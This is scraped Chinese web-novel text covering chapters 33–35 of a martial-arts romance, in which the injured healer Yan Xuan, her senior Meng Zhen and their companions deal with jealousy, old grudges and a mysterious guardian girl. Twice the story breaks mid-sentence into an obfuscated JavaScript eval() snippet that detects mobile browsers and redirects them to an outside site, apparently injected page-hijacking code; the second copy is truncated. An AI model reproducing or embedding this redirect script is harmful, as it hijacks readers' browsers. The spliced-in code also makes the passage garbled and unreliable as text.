突然,身边的同珩一手穿过她颈下,一手捞过她的双腿,一把将她抱了起来。 晏璇:“……” “马上带你出去。”他说着,抱起她就是疾走,晏璇的头靠在他肩下,能听到他有力强劲的心跳声。她抬眼瞧他,瘦削的下巴上胡渣点点,面色沉静迫人。 “前辈!师妹的腿伤了,小心!”孟珎只来得及追在身后喊了一声。 密道里的其他几人紧随其后,弯弯曲曲走了一路,等钻出假山,外头的天空已经暗了下来。 杜若领着他们进了一间干净宽敞的屋子,很快有下人准备了换洗的衣裳。 晏璇灰头土脸坐在榻上不发一语,孟珎身上血迹点点亦是吓人,他顾不得身上的脏乱以及紊乱的内息,第一时间给晏璇绑了伤腿,若是再拖个一时半刻的,他真怕留下什么后遗症。 “别担心,会治好的。”他蹲在她脚边,抬头对她笑笑。 以前享受惯了孟珎的照顾不觉得,此刻知晓了他的心思,真是处处显出他的傻气。晏璇心头叹息,从百宝袋里掏了一颗药出来。 “吃了。你身上不疼的吗?”语气不似往常柔和,带了些气呼呼的埋怨。 孟珎看都没看,接过一口吞了。 “小晏师兄,你内伤颇重,还是快些调息为好。”司珩看在晏璇面上,出口提醒道。 孟珎看他一眼,此人真如师妹所说只是因为师妹长得像他故人?司珩亦垂眸看他,心绪复杂,他虽未成家,可男人眼里的情意他不会看错,阿姐难道要和这个小子在一块?他属实不能接受。 “快去。”晏璇推了一下孟珎的肩膀。 孟珎回神,稍点点头,坐到晏璇一旁。 晏璇在屋里扫了一圈,刚才一起出来的明明有六个人,却在转眼间不见了那位姑娘。 “小晏在找那个女的?”司珩道。 “同叔,你怎么知道?” “同叔……” 司珩又是一震,咬了咬牙,“下回我们换个称呼可好?” 晏璇疑惑:“不可以喊同叔吗?我还觉得与你亲近了些……” 司珩张了张嘴,勉强勾起一丝微笑:“那还是喊同叔吧,你喜欢就好……” “是觉得被我喊老了吗?”晏璇问道。 “没有,以你我的年纪,这样喊恰恰好。”司珩叹道。 “对了,刚才那个女的就隐身在附近。我一直以为她是晏家给你派的暗卫,看来不像。” 暗卫?她爹娘懂这些吗?晏璇略略思索,难道是那个人派来的? 此时,门口传来木轮滚动声,时天辰坐在轮椅上,身后由那位高大的男子推着。 “晏姑娘,身体可还好?”时天辰目露歉意。 晏璇望望他,又看一眼旁边噤声的杜若,皮笑肉不笑道:“若是如我这般还算好,少庄主的病也不算什么。” 司珩侧头望她,这一世的阿姐竟是这种性子的,他算是领会过了。 邱明嘉眉梢一挑,这就是药师玄?外表看着没什么,甚至有些羸弱,说话阴阳怪气,莫不是仗着自己有几分本事才会如此? 晏璇半靠着榻,一脸不以为意。 时天辰苦笑:“是我们的过错,姑娘如有任何请求,时某定当办到。” “晏姑娘,错在于我,莫不要为难少主,在下愿一人承担。”杜若跨步而出,拱手道。 “我什么都没说,怎么就要为难你家少主了?”晏璇斜他一眼,叹道,“杜管事忠心为主,我与师兄怎会不体谅。现在,人只是伤了,又不是死了。” 杜若自知理亏,百口莫辩,小姑娘想要逞口舌之快就让让她吧。 司珩掩嘴无声一笑,看来之前阿姐对他算是嘴下留情了。 “少庄主放心,我们都是明理之人,您只要额外出个医药费就成了。” “那是自然。”时天辰挥挥手,有人捧着一个小木盒上前。 “小小意思,望姑娘收下。姑娘和先生所需什么药材,庄内都可为二位找来。” 晏璇眼睛一亮,挺了挺背,道:“那好,麻烦递个纸笔,我好写张方子,早些找齐了药早些治好病。” 邱明嘉拿过屋内的笔墨纸砚搁在榻上小几上,笑道:“姑娘,请。” 晏璇瞥他一眼:“谢了。” 她侧着身子,在纸上刷刷刷就是一通写,以前想要买不到的,想买没钱的,通通往纸上一列,洋洋洒洒写了两大张。 写完,她吹了吹纸上的墨,将它递给邱明嘉:“麻烦了。” 邱明嘉低头扫了一眼,野山参五支、灵芝一棵、雪莲花三朵、沉香五两、乌蛇两条…… “明嘉,此事就麻烦你督办了。”时天辰道。 “好。” 邱明嘉一哂,将纸张叠好塞入袖中,他向晏璇瞟去一眼,这下是真信对方就是药师玄了。 晏璇注意到男人的目光,明知故问:“这位大哥,可是有什么问题?” 邱明嘉背了手,沉吟道:“实不相瞒,在下乃品贤阁阁主邱明嘉。刚才我观姑娘字迹,与我阁中药师玄神似,不知二位有何联系?” 在场几位除了闭目调息的孟珎,全都望向邱明嘉,有惊讶,有疑惑。惊讶如杜若和司珩,疑惑如时天辰。 晏璇一顿,心中吃惊不小,没想到眼前青年竟是品贤阁大老板,她一直以为对方会是个留长须的大前辈。只是,什么叫“我阁中药师”,她什么时候成了他品贤阁编内人员? “哦,这样。”晏璇从百宝袋里掏了掏,摸出那块金丝楠木牌子,“我确实是药师玄。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13699421|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她手里把玩着小木牌,笑道:“之前,多谢贵阁照拂。” “如今该称药师‘璇’,时某也要多谢姑娘,多亏了姑娘的丹药保了时某一命。”时天辰笑道。 晏璇不置可否,当日在斛县纤云坊早就暴露,品贤阁等她的药就是为了时天辰。 孟珎调息过后呼出一口浊气,他起身站到晏璇身侧,目光缱绻,低声唤她:“师妹。” 晏璇惊喜抬头:“师兄,你觉得怎么样?” 孟珎笑笑:“还好,无须担心。” 司珩皱了下眉,勉力使自己挪开了视线,他一定要找机会说清楚,这个男人,他不同意。 孟珎向着时天辰施一礼,冷声道:“少庄主,你体内余毒按方子服药,十日后便可肃清,无须我在旁施针。我与师妹先回城内,若有其他疑问,少庄主再令人传信不迟。” “那么,我们先告辞了。” “孟先生!”杜若和邱明嘉同时出声,转头询问时天辰意见。 时天辰欲言又止,伸出的手又落回轮椅扶手上。孟珎这是打定了主意,绝不会听他的挽留。 晏璇:“师兄,我们现在就走吗?晏曜还不知道在哪。” “晏姑娘说的可是一位长得半高的小男孩,穿青色衣裳?”时天辰忙道。 晏璇点点头。 “来人,把小少年带过来。”时天辰叹息一声,“几位想要离开,时某不会阻拦,还请稍等片刻,我让明嘉给你们准备一辆马车。不然,以姑娘现在的伤势,如何回城?” 孟珎看了眼晏璇的伤腿,拱手道:“那便谢过少庄主。” 随着邱明嘉离开,晏曜急匆匆跨进门来。 “小姐!” 少年看到晏璇一身狼狈,差点掉下泪来,这是他遇到的对他最好的人,看见对方受伤比他自己挨打还难受。 晏璇摸了摸他的发顶,笑道:“我没事。小曜少年,你很懂事嘛。介绍一下,这位是我的师兄孟珎,这位同叔,你之前见过的。” 晏曜一一打了招呼。 原来晏姑娘和亲近的人是这样相处的,时天辰又是胃痛般一叹,他能怪阿若吗?不能。 杜若知自己惹人嫌,不过为了少主,他只好硬着头皮上前。他望了眼晏璇头上的葫芦簪子,道:“姑娘,先生,之前那殷数离开前让我们问清少主的毒。” “他是何意?”晏璇皱眉道。 杜若摇头:“不知,他只叫我们来问你们?” 这话说的,好像时天辰的毒是他们下的一样。 孟珎思索片刻道:“此前在十里坡,我们曾遇殷数一回,那次他用毒击败了几大高手。少庄主所中的毒与那次他所下之毒,有些相似,但用量用法均不同。” 这么说来……晏璇恍然道:“今日,我给竹林中的护卫探脉,发现他们中的毒与十里坡那次一样。所以,他的意思是……” “少主中的毒与他无关,是有人有意嫁祸,挑起我们之间的纷争!”杜若倒吸一口气,愤然道。 “这些……我就不知了……”晏璇无奈一叹,与孟珎对视一眼。江湖上的恩怨只能让他们自己理去。 时天辰眉头深锁,似在考量殷数话中的真假。 纱帘飘动,司珩环胸站在角落,脸色晦暗不明,嘴角似有一抹讥诮闪过。 等马车备好,孟珎正迟疑着是背还是抱,司珩抢先一步一把抱过晏璇,吓得她惊呼了一声。 “前辈!”孟珎皱眉,不悦道。 “你受伤了,先顾好自己吧,我会看好小晏的。”司珩哼了声,跨步而出。 “等,等一下。”晏璇有些头疼,拍了拍司珩的手臂,“同叔,你走得太快了。我还有东西没给人家。” 晏璇向时天辰扔去一个兰花纹样的瓷瓶,被邱明嘉一把抓住。 “少庄主,祝你早日康复。” 时天辰坐在轮椅上,猝然一叹,笑若春风:“多谢!” “不用谢,记得在送来的药材里放上药钱,记在药师璇的账上。” 33. 第 33 章 夜幕降临,皎月初升,月色漫过窗棂在屋内投下一片清辉。 花奕盘腿打坐许久,她耳尖一动,听得隔壁传来窸窣轻响以及木门的开阖声。她嘴角轻扬,起身抖了抖衣衫,抚过衣上褶皱,又抬手理了理额前碎发。 她提过桌上的点心盒子,推门而出。隔壁房间已亮了灯,房门半掩没关紧,花奕甫一靠近,一个着绀青色袍子的男人拉开门走了出来。 他反手带上门,抬头对上花奕的视线,将她上下扫了两眼,沉声道:“姑娘有事?” 怎的是个男人? 花奕的笑意凝在嘴边,望了望房门,迟疑道:“我……大约找错了地方。” 男人颔首正要离开,屋内一声闷响仿佛是重物落地,随即传来女子的惊呼。花奕怔愣间,男人倏地回转身去进了屋,她也紧跟着一起入内,刚才的声音她若没听错就是…… 进了屋子,映入眼帘的就是一个灰袍男人半趴半站在床前,层层叠叠的衣衫下露出女孩子妃色的裙摆,还有一只穿着锦鞋伸出床外的脚。 两人情状暧昧,还听得男人声线暗哑问着身下人:“哪儿疼?” “孟珎……”这声音、这背影,花奕不会认错,此番场面直叫她脑门上的青筋直跳,她一个箭步上前扣住男人的肩膀,“好你个混蛋!快给我从阿璇身上滚开!” 司珩的手也按在了孟珎另一边肩上,两人施力猛得将他拉起,孟珎猝不及防,几步倒退撞上木桌才稳住了身形。 “奕姐姐?”晏璇手肘撑在床上薄被上,鬓发散乱,颊上透红,微昂起的脖颈让人心生遐想。 司珩一把扯过被子盖在她身上,瞪圆了眼道:“他、你……荒唐!简直荒唐!” “什么荒唐?同叔,你不是回家去了?”晏璇吸着气轻挪了下脚,侧头往旁边望去,“我好像看见了奕姐姐……” “在这!”花奕挤到司珩旁边,竖着眉怒道,“那混小子欺、欺负你了?” “欺负?你们在说——”晏璇望着面前两张黑脸,又见后头桌边低头捂着腰的孟珎,瞬间反应过来,有些哭笑不得。再如何,他们也不至于此时此刻情不自禁做些少儿不宜的,何况孟珎也做不出那样的事。 晏璇见他皱眉捂着后腰,都有些不忍了。 “方才我腿上的夹板缠住了师兄的衣摆,他怕碰到我的伤腿,我们不小心才……哎,你们误会了。” 说着,晏璇无奈地掀开被子,指了指自己直挺挺不能动弹的左腿。 司珩梗着脖子,瞪了孟珎几眼。他还没走出客栈,甚至才刚踏出房门,就发生了这不小的“意外”。谁知道那小子到底有没有存别的心思,一想到他们待一块他就无比郁卒。眼下,貌似来了个熟识的女娃,他才放心些。 孟珎默默捡起地上滚落的木盆,脸上绯色一片似是气恼不已,他垂着眉眼:“师妹,我去打些水来。” “哦,去吧。”晏璇怕他太过尴尬,让他快些离开。 “花师姐,麻烦你先照顾一下师妹。”孟珎脚步一顿,侧头说道。 “用不着你吩咐。” 花奕将点心盒放在床头,忙检查起晏璇的伤势。 司珩见两个姑娘感情甚笃,不便多逗留,跟在孟珎后面出了屋子。 “孟小鬼。” 孟珎停在楼梯间:“前辈有何指教?” 司珩走到他身侧,从他额角的旧伤疤打量到他挺直的后背。这小子的脸其实不难看,但是在司家人眼里就是不够看。 “你……喜欢小晏?”他语气确定。 孟珎垂落在袖中的手一下捏紧了,他抿了抿唇:“我喜欢谁似乎与前辈无半点干系。” 司珩点点头,凑近道:“你喜欢谁确实与我无关,但是喜欢小晏不行。” 为什么喜欢师妹不行……孟珎胸口微微起伏,他自知自己配不上师妹诸多,可这颗心是自由的,它只是默默被某个人吸引着,不敢倾诉,不敢靠近一步,他只是想陪在她身边都不行吗?孟珎深深吸了口气。 “前辈与师妹是何关系?是否管得太过宽泛?无论是别人喜欢她,亦或她喜欢别人,都不是你我所能干涉的。” “她是我——” “还望前辈看清自己,莫将师妹当作了他人。”孟珎冷眼说完,直接下了楼梯。 司珩嘴角抽动,这个臭小子!他狠狠一甩袖,什么师妹,不是他阿姐哪来他的师妹!叫他看清是吗,他会让他看清事实,离他阿姐远远的。 屋内,花奕帮着晏璇换下了一身脏衣,听她大致讲了受伤的原因以及刚认识的几张生面孔。 晏璇擦了擦手,咬着花奕带来的点心果子,好奇道::“奕姐姐是怎么知道我们来了南塘?” 花奕坐在床侧,给晏璇梳理一遍长发,左右各编了两股辫子然后用发带绑了。 “我回了趟雾山,师伯说你们来南塘给姓时的看病,恰好我也想看看江南风景,便一路寻过来了。”她捏了捏晏璇的脸蛋,“姓孟的是怎么照顾你的,我看着你都比在雾山时瘦了!” 晏璇无奈笑道:“哪有那么夸张。再说,我又不是小孩子,自己会照顾自己,无须师兄时时顾着我。” 只是,师父怎么会知道她和孟珎一起来了南塘。他们两个要不是孟珎临时起意去了斛县,根本就不会碰面。 “对了,方才那小子是不是喊了我师姐?”花奕抱胸靠在床头,一脸诧异,“我跟他认识十几年,还是第一次在人前听他这么喊我。” 好像还真是……大概是师兄见同珩在场,故意这么做减少不必要的麻烦。 “这样不好吗?”晏璇抿嘴一笑,“我还记得我们第一次见面,奕姐姐就追着师兄想让他改口。” “切!”花奕戳了下晏璇的脸侧,“你记错了!我哪有追着他,我就是看不惯他那副目中无人的样子,好像全天下都欠了他似的。” “师兄只是性子冷了点,不擅长与人打交道。” “也就你觉得他好,你都不知道他小时候有多凶。” 晏璇啃了一口手里的酥饼,歪头道:“能有多凶?”她认识孟珎的时候,他只会装着摆冷脸,发火什么的完全不会。 花奕伸出右手比了比:“看到了吗?就是这!那会,师伯带着他去药王谷,精瘦的一个人,看谁都死瞪着眼睛,我就问他叫什么名字,他就直接咬上来,害得我举了半个多月的猪爪子!” 晏璇想象着她包扎成馒头似的右手,忍不住笑出声。 “你还笑!你就说姓孟的是不是不知好歹,哪有这样的人,到如今我都没听过他对此事有半点愧疚之心!” 晏璇扶着花奕的手臂,给她上下到处捏捏,直捏得她没了脾气:“所以,奕姐姐因为这个一直对师兄有意见?” “哼!”花奕斜她一眼,“我岂是那般小心眼的,是他一直对人摆脸色才叫我讨厌。” 晏璇心中暗叹,没想到他们还有这段过往,其实花奕还是很在乎的。别看她平时大大咧咧,对身边的人向来真心以待,晏璇这几年也就她一个好友。正因为那时 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晏璇摇摇头:“不全是这样,只是在特定的地方。你说他去药王谷治眼睛,怕黑大概也是那时才有的毛病。师兄他……因为家里的一些变故生了病,被师父带走的时候正是‘发病期’,所以他不懂得姐姐的示好,后来他的‘病’算是好了,又找不到机会辩白。加之他本就有些别扭的性格,时日一久,倒叫你们成了一见面就呛声的冤家。” “唔……我是听我娘说他是师伯收养的孤儿。”花奕咬了咬唇,思索着,“也没想太多他家里的事,只当是师伯善心大发随意收的徒弟。若是如你所说,那时他难相处倒也情有可原……” “你这么清楚,是师伯告诉你的,还是他自己说的?”花奕说着用手肘推了推她。 晏璇又喝了口茶,微笑道:“我用眼睛看的。” “眼睛看?怎么看,我看你就是想替他说好话!” “师兄他不爱说,我替他说一说也无妨。最紧要的是,我不希望你们因为过去的事一直有所误会,奕姐姐你不是说过,再怎么样,我们都算是药王谷的传人,那就该是相亲相爱一家人。” “我可以跟你是一家人,谁跟他相亲相爱一家人,门都没有!”花奕搓了搓自个的胳膊,嫌弃之色溢于言表。 晏璇只微笑盯着她,花奕被盯得不自在,转了头低声道:“要、要是他能道个歉,也不是完全没可能……” 晏璇见她脖颈微红,心里其实早就松了口,非是摆出一副勉为其难的模样,和孟珎的性子不相上下。她笑着挽了她的胳膊:“姐姐说得是。” 门口传来叩门声,孟珎拎着装热水的木桶进了屋。 他始终低着头,端盆打水,拿干净布巾,收拾脏衣,将需要用到的东西都放在晏璇方便够到的地方。 花奕抿了抿嘴:“行了,剩下的我会帮阿璇,晚上我就住这屋。” 今天一天着实发生了不少事,晏璇强撑着有些困倦,孟珎受了内伤还跟没事人似的,她也不怪他的犟脾气,忙道:“师兄,快些去处理自己的伤。哦,对了,还有晏曜,麻烦你安排一下他的住宿。” “嗯。”孟珎凝视着床头凳上那只葫芦木簪子,久久未动。 晏璇问:“怎么了?” 他微抬了头,眼神温软得似含了水,昏黄灯光模糊了他坚硬的棱角,他就那般定定地望着她,似有些无助似有些怅然。 “我等晏曜熬好了药。” 且让他再多待一会。 34. 第 34 章 在三双眼睛紧盯之下,晏璇一口气喝完了药,漱了口擦擦嘴躺倒。尽管身上各处隐痛,也抵不住大脑不断袭来的困意,她迷迷糊糊地想孟珎在药里放了哪几味药,这安神催眠的效果也太好了些。 花奕给睡熟后的晏璇掖了掖被角,起身后落地无声地出了房间。 孟珎站在栏杆处望着楼下,他见花奕出来,低眉喊道:“师姐。” 花奕听得浑身一抖,她新奇地盯着眼前人,真不知道姓孟的是突然开窍了还是被小晏璇事先叮嘱过,这一声声“师姐”叫人太意外。 “你,你找我有什么事?” 她压低了声音,站到孟珎身侧一步之外。 “师姐要在南塘停留多久?” “多久?阿璇想待多久,我便奉陪多久。” “如此,明白了。”孟珎微转身,向她躬身行礼,“多年前初到药王谷时,我年幼无知行事莽撞,多有冒犯师姐之处,我为往日之过向你赔罪,望师姐海涵。” 花奕眉头狂跳,生生忍住了想要挪脚后撤的冲动,张口结舌半晌道:“你……吃错药了?” 孟珎:“……” 他轻吸一口气,再次拱了拱手:“夜已深,不扰师姐休息了。” 他这副像是为了完成任务而来的脸孔,花奕一下回过味来,神色复杂地喊住他:“你等等。” 孟珎侧目:“可还有事?” 听听他说这话的冷淡语气,这才是他本来面目,十几年养成的性子说变就变就和要她花奕弃武学医一样难。从前便是阴恻恻的模样,落在一旁也不知听了多少别人的秘密。 花奕抬起下巴,哼道:“你,是不是偷听了我和阿璇讲话?” 孟珎一顿:“没有。” 他只是无意听到,那些自己隐藏的往事几乎要被她猜到全貌。她从未提及,只在他意识不清时气恼地骂他“胆小鬼”,而他也正正是胆小鬼,渐渐忆起密室的一幕幕后,他完全不敢去面对她。她那般聪明,该是知晓了自己卑劣不堪的心思,若是从此厌他烦他,不再想见他……孟珎的心口就止不住发疼。 他不想做她讨厌的人,他愿弥补一切。 花奕见他愈加发白的脸色,虽不信他没有,却也没料到一句问话就让人吓成这样。他不是向来跟块石头似的,难道是怕阿璇误会了他的为人?花奕越想越有,也只有阿璇的话能令他此刻会来跟自己道歉。 “算了,没有就没有。”她眼角瞥到孟珎脏兮兮的袍角,想着他一刻未停在晏璇面前忙碌,挥了挥手道,“走吧,歇息去了。” 此刻,客栈虽未打烊,堂内几乎没什么人在,只余两个伙计整理着桌椅。 “客官,后厨的师傅都歇息了,想吃面得明天了。” 角落里,店小二垒起好几层的大汤碗,肩上汗巾甩在桌上,一手扶着碗一手随意擦了两下桌面。 “您啊,早点歇息。”他说着转身离开。 “等一下。”一只骨节分明、修长有力的手搭在了小二臂上,“不吃面也没关系,还有别的吗?我……没吃饱。” 单看那只大手以为是哪家俏郎君,出声的却是一口婉转清脆的嗓音,她语含几分羞赧,一张嫩白小脸上,一双黑而大的眼睛直勾勾盯着小二哥。 店小二一愣:这小姑娘,也太能吃了啊! 他为难地皱了下眉:“要不,您去外头的夜市上瞧瞧,兴许还有卖吃食的。” 少女张了张嘴,失望地收回了手。 “咚”的一声,在夜里不大不小,一锭银子被放在了桌上。几双眼睛望过来,只见孟珎撩袍坐下,轻声缓语道:“小二哥,麻烦给这位姑娘再下碗面,方才我见锅里还有热着的馒头和点心,也请一并拿一些。” 店小二定睛一看,这可是掌柜特别交代要顾好的贵客,就算此刻后厨没了,哪怕去别的地方弄吃的,也得把人招待好了。 他忙点了点头:“好的,公子,请稍等片刻。” “多谢。” “不谢不谢。” 少女低哼了声,垂着眼抬手去够桌上的茶壶。霎那间,她并指为掌,手腕翻转,聚气于掌心直向孟珎挥去。孟珎侧身一手扶住桌沿,一手斜劈格挡。两人单手过招,掌风如影打得有来有回,推掌时犹如缠在一处互相攀咬的毒蛇。 随着女子一声轻喝,两人收掌双双拍在木桌之上,茶壶碗盖被震得抖上三抖。 “你受伤了,还敢和我比掌法。” “若我不接,姑娘可会收手?” 少女扬了扬眉,这家伙自身或许不好战,可一旦对方有什么苗头,他必主动出击。所以在时天辰那,那殷数只是动了一点心思,他就拼了全力和人去搏,也不知是他太过自信还是莽撞。 孟珎也不知对方在想什么,不过他不在意,他只在意她的身份。 “姑娘从何处来?”他直视着她的眼睛,眼神如鹰隼般锐利,“为何……潜伏在我师妹身边?” 她无声一笑,看在对方请她吃饭的份上,心情颇好:“这话问的人若是反过来,公子会如何作答?” 孟珎能直截了当发问,是因为心底已判定她并未带有恶意,如今还能光明正大出现在这,显然没了遮掩的心思。或许他能得知是谁在背后促成这一切,而这个人他猜测与师妹的身世有大关系。 “公子放心,我不会对晏姑娘如何,只会盼着她好。”少女手里转动着茶杯,眼睛频频向着后厨的方向望去。 孟珎注意着她的一举一动,仔细看才发现她脸上还有未脱的稚气,年纪比师妹要小上许多。 “我从未怀疑姑娘,只是被人莫名盯着,谁都会心生不安。若是姑娘不方便透露也罢,这一路还是多谢姑娘对师妹的护卫。” 店小二捧着托盘殷勤上前,桌上一下子摆了诸多吃食,一大碗牛肉面,一盘冒热气的馒头,一盘凉拌菜,一盘桂花糕,还有几小碟小巧的点心。 “公子,您还有什么想要的请尽管吩咐。” 孟珎点点头,回头问道:“姑娘,不知这些可还够吃?” 少女舔了舔嘴角,抓起筷子先吸溜了一大口面,劲道十足的牛肉满口余香。这些天她可是饿狠了,要不是实在不能离目标太远,她还不想就这么暴露在姓孟的面前。 “若是可以,麻烦再包两个饭团,要红豆馅的。”小姑娘咽下食物,含糊道。 孟珎看一眼店小二,店小二会意苦笑连连:“好,好,马上。”不是,看着这么小一个姑娘家,她的肚子真不会吃撑了? 少女喝下一口热汤,朝孟珎比了个手势:“家中兄弟众多,下回喊我十一就好。” 门中排行十一的江湖高手,轻功了得,掌法不俗,大概花奕会知道她的来历,孟珎暗想。 这不一会的功夫,一碗面快见了底,馒头少了两个,桂花糕没了一半,小姑娘吃得满嘴油光似乎还不见饱。 孟珎:“……” 小二哥把饭团放在桌上,小声问孟珎:“公子,这吃得差不多了吧?不是小的不愿跑腿,我怕这姑娘吃出个好歹。” 十一抹了抹嘴,从袖口掏出一大块布巾,把饭团、馒头以及剩下的糕糕点点一骨碌全给包进了布巾里。她给巾子打了个结揣在胸前,眯着眼笑道:“多谢!” 随后,她站起身轻拍了下肚子,一脸满足地向门口走去,晃眼间人影很快消失不见。 孟珎也不再多留,上楼回了房间。 一夜安稳过去,早起的时候,晏璇被花奕抱着去解手了一次。若是没有奕姐姐在,晏璇真不敢想让孟珎陪着她做这种事。倒不是怕不好意思,她向来脸皮厚五毒不侵,而是顾虑孟珎表面严肃正经,内里又不知在想些什么挖坑给他自己跳。 晏璇啊晏璇,开始揣摩起一个男人的心理可不是个好兆头。 “大清早的叹什么气?”花奕端了早膳进房间,“担心腿治不好,还是门口那呆子?” “门口的呆子?”晏璇一愣,“师兄……怎么了?” “哼,你这眼里还有其他人吗?” 晏璇失笑:“奕姐姐提到师兄我才有此一问,不是你想的那样。” 花奕用汤匙搅了搅碗里的白粥,待不烫手了才端给晏璇,又给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花奕哼了声:“是也非也。那男人家中富庶,起初也是到处找人为儿子看病,只是没遇到个能对症治疗的良医,时间久了,孩子病重样貌大变,男人也失了耐心,何况家里不只这一个孩子。” 晏璇想起她有了意识的那一世,自己体弱多病,爹娘也有好几个孩子,即使给予她关爱没过多久她还是离世了,眼下只觉得往事已矣,恍然若梦。 花奕继续道:“妇人不忍,将儿子带在身边照顾,奈何她即将临盆,力不从心。之后,果然是动了胎气,早早产下胎儿,结果一看,是个女娃。” “女娃怎么了?”晏璇心下顿时不喜,这世道果然又是如此? 花奕长叹一口气:“女娃没什么,偏偏是在郦城这个邪门的地方。他们那有个溺婴的风俗,不是养不起孩儿,只是不喜女儿,若是见产下的孩子有异常更是视为邪祟。妇人是拼了命才护住女儿,那富绅只觉晦气,念在妇人多年侍奉的情义上放了她,孩子是生是死也不管了,只叫她统统带走不得归家。” ——当初在老头子的眼皮底下,是怎么让你活下来的? ——老头子不会放过你的,我该不该送你一程,好让你们全家团聚? ——阿茵,你还记得当年我们是怎么发现阿璇的? ——记得。埋在荒山地里,那襁褓我还留着,簇新的缎子,一看就不是普通人家的…… 那时男人恶意的话语和爹娘的对话不断在晏璇脑子里回旋,她无意识抓紧了身侧的被子,指甲被挤压得发白。晏璇后背的凉意一阵阵涌来,眼底一片通红,失了神一样盯着床脚。 “阿璇,阿璇?”花奕眼见不对,忙伸手在她面前晃了晃,“可是吓着了?好在那妇人坚忍,我娘收留了他们,现在那两个孩子都在谷中学医,性子活泼开朗,常常帮着师兄师姐们照看病人。” “哦,那真是太好了。”晏璇回过神,勉强一笑。 “许是我说得太吓人了,那出鸟人的地方从前是太荒谬了些,据说现在换了个地方官,风气变了好多。” 晏璇两三口喝完了碗里的粥,点点头道:“但愿如此。” “奕姐姐,晏曜那小孩,我看他下盘很稳,或许可以跟着你学点功夫,以后他要是不跟着我也能护着自己。” 花奕舒了口气:“听我说到那两个孩子,就想到身边这个了?” 她端过晏璇手里的碗,笑道:“好,我看他性子也不错,这两天便试试他。” 就在晏璇在客栈安静待了两日后,杜若终于提着晏璇要求的那一大串药材上门了。 药师璇特制的痒痒药,可把这位笑面书生折磨狠了。 35. 第 35 章 小药罐里咕噜噜冒着泡,苦涩药味萦绕身周,屋内的二人倒是习以为常。晏璇握笔蘸了点墨,在草纸上划上交叉两道。 她手卷着耳边落发,直将它们绕成一股捋到耳后,托腮道:“如此,虽能解却不是最优的法子。” 小木桌上摊着不少药材,孟珎抓了几片白术放在一侧药纸上,看了她一眼,小巧的葫芦木簪子就斜插在她发间。他垂眸敛住其中柔光,继续拣药。 “多一钱半,少一钱半,因人而异,产生的疗效亦有偏差。” 晏璇点点头,叫她炼药还成,把脉开方子总是差点火候。如今,她瘸着腿哪都不方便去,便和孟珎一道研究方剂。师父给她的手札,她通读过后不明白的也会和孟珎一起探讨。这样的日子,仿佛回到了雾山,纯粹又惬意。 “坐着会不会累,要不要再躺回去?”孟珎问她。 “不要。师兄呢,你的伤可好些了?” 那天孟珎吐血到底是把她吓到了,油灯里的幻香似乎是针对有内力的练武之人,越是运气抵抗,越是伤得深。晏璇有些遗憾没能将那盏灯带出来好生研究一番。 小九:【宿主是想拿它以其人之道还治其人之身?】 晏璇哼笑:【我是那种人?我是觉得那东西拿来护身不错,便携还挺不起眼的。】 小九:明白了,宿主就是想拿来对付贱人,说不定已经暗中下手了。 孟珎悬了两日的心因为晏璇的平静而平静,心底小小的失落也被他很好地掩盖,他微微笑着:“有你的凝露丸,我很好。” “师兄也觉得凝露丸这个名字好?品贤阁的怪会取名的……” 晏璇瞥了眼孟珎那张脸,那日磕破的额头已经结了痂。她从百宝袋里掏了掏,取了一个鹅黄色的圆肚小瓷瓶递给孟珎。 孟珎接过:“这是什么?” “是我重新调配的药膏。先前给师兄的我见着毫无收效,于是改了方子。”晏璇伸手轻拂开他眉梢一缕发丝,“虽然错过了最佳的祛疤时间,可若是坚持涂药,我有信心能改善。” 暖阳透过窗纱落在晏璇含笑的脸庞上,像是镀上一层柔光,擦过他额角的手指是他曾肆无忌惮反复舔吮的地方,孟珎心头波澜迭起,一时不敢直视那双清澈的眸子,他上身微动偏过了头。 师妹已不记得醉酒时的事,不是她的药不够好,而是他太过无耻想要一直得到她的怜惜。孟珎握紧了药瓶,盯着瓶身上的腊梅纹样哑声道:“我会的,谢谢师妹。” 门口传来叩门声。 “奕姐姐和晏曜回来了?”这两日,花奕一大早就让晏曜去后院扎马步,要给他打底子。 孟珎则眉目一凛,若是花奕会边敲门边喊人,而不是这种不轻不重的敲门声,大抵又是姓同的。 “我去看看。”孟珎说着起身。 房门半开,穿浅色长袍的男子浅笑着站在门口,脸色微恙似是没睡好,身后还跟着两个小厮。 “孟先生。”杜若抬手施礼。 孟珎实不想见这人。当年下山让晏璇听到一句污言秽语他都觉得憎恶,此人却让晏璇身陷血腥缠斗,后来又突发状况,他根本来不及照顾她的心绪,只好在给她熬的药里偷偷加了东西。 若不是师父交待的事还未办妥……孟珎语调冷冷:“杜管事何事?是少庄主有了什么意外?” “啊,非也。”杜若侧身退开一步,指了指小厮手上端着的木盒,“之前晏姑娘交待的药材都找齐了,我奉少主之命送来。此外,考虑到晏姑娘眼下行动不便,少主还命人做了一把轮椅,一并送了过来。” 杜若见孟珎如往日一般冷淡,没什么特别的神色,挥了挥手让人把东西搬进屋里。 晏璇坐在窗下,听出了房外人的声音,一脸漠然望着门口。杜若会来她不意外,毕竟她在他身上下的药可是当年对付金银双煞的加强版,没有她的解药镇痛除非能找到比孟珎医术还要好的,他应该早早发现自己动了手脚。然而他能拖到时天辰帮她把药找齐了才来,也算硬气。 小厮把木盒垒放在桌上,随后有人将一辆梧桐木打造的轻型轮椅推放在了桌旁。 经过几日休整,杜若恢复了惯常示人的温和模样,只是肉眼可见的虚弱,他朝晏璇露出初见时的笑容:“希望姑娘满意。” 金雀山庄的实力毋庸置疑,晏璇只是掀开盒盖随意瞧了眼,其中最上头就放着几张银票,她嘴角微翘:“多谢,替我向少庄主问好。” “应该的。”杜若双手叠放在身前,嘴唇微张,几次开合欲言又止。 